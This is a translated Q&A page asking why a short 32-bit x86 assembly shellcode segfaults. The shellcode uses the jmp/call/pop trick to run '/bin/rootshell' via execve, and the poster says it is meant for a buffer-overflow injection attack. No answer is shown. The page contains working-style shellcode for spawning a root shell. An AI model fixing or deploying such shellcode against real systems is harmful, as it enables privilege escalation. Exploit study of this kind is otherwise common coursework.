汇编代码中的分段错误,以调用根

时间:2017-09-22 09:03:39

标签: assembly x86 shellcode

我正在尝试使用汇编代码从我的终端调用一个roothell,我可以在缓冲区溢出注入攻击中使用它,但是现在我仍然试图让我的汇编代码工作,现在我'当我尝试向内存写入execve调用所需的内容时,会出现分段错误。

代码如下

.code32
.text
.globl _start                            
_start:

        jmp MyCallStatement

        ShellCode:
        # Execve routine
                popl %esi
                xorl %eax, %eax
                movb %al, 0xe(%esi)
                movl %esi, 0xf(%esi)
                movl %eax, 0x13(%esi)
                movb $11, %al
                movl %esi, %ebx
                leal 0xf(%esi), %ecx
                leal 0x13(%esi), %edx
                int $0x80
        # Exit Routine  

        MyCallStatement:

                call ShellCode
                ShellVariable:
                        .ascii "/bin/rootshellABBBBCCCC"

所以这里的想法是我的rootcall注入了内存,其他垃圾会被覆盖。

第一个在0xe($ esi)的movb,它是14个字节,用0覆盖%esi,这是一个空终止符,告诉我的shell命令字符串结束的代码。

下一个movb只需再多一个字节就可以加载一个指针,指向execve的第二个arg,这是指向内存中%esi开头的指针

最终的movl只是将Nulls移动到第三个争论中。

我遇到了段故障(核心转储),我不确定原因。

0 个答案:

没有答案